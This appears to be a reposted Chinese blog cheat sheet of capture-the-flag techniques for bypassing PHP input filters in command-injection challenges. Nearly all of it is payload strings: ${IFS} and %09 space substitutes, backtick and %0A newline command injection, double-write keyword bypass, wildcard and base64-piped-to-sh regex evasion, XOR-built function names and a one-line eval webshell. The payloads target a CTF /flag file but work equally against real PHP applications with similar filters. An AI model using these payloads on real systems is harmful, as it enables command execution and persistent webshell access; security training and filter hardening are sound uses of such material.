PHP check 的一些绕过技术

绕过空格

$_GET[str]=str_replace(" ","",$_GET[str]);
  • ${IFS}  但不能写作 $IFS 

  • $IFS$9

  • %09

绕过echo拼接

system("echo \"$_GET[str]\";");
  • 执行命令加上反引号 `cat /flag`

  • 双引号闭合 与 | 分割(或 &后台 &&判读 在URL中均要进行URL编码)

绕过符号

$_GET[str]=str_replace(array( "", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
  • %0A 截断  111"%0Acat %2fflag" 

绕过关键词替换

$str=str_replace("flag","",$_GET[str]);
  • 双写绕过 flflagag 

绕过正则

preg_match("/flag/i",$str)
  • 反斜杠换行  ca\t fla\g  

  • 模糊匹配(通配符)  cat /fla?  cat /fl* 

  • base64  echo Y2F0IC9mbGFn|base64 -d|sh (Y2F0IC9mbGFn = cat /flag ,不能用)

  • 变量拼接  $a=%2ffl;$b=ag;cat $a$b; 

     

绕过可见字符

if(preg_match("/[A-Za-z0-9_]+/",$code))
    {die("NO.");}
@eval($code);
  • 构造 getFlag 的异或字符串 code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_(); 

  • 注入一句话${_GET}[_](${_GET}[__]) 

  • 如果下划线_被禁用,使用大于等于 %7F 的字符

  • 取反绕过

本文转自:https://www.cnblogs.com/kalbertlee/p/12287073.html

posted @ 2020-03-31 20:29  Ye'sBlog  阅读(1308)  评论(0编辑  收藏  举报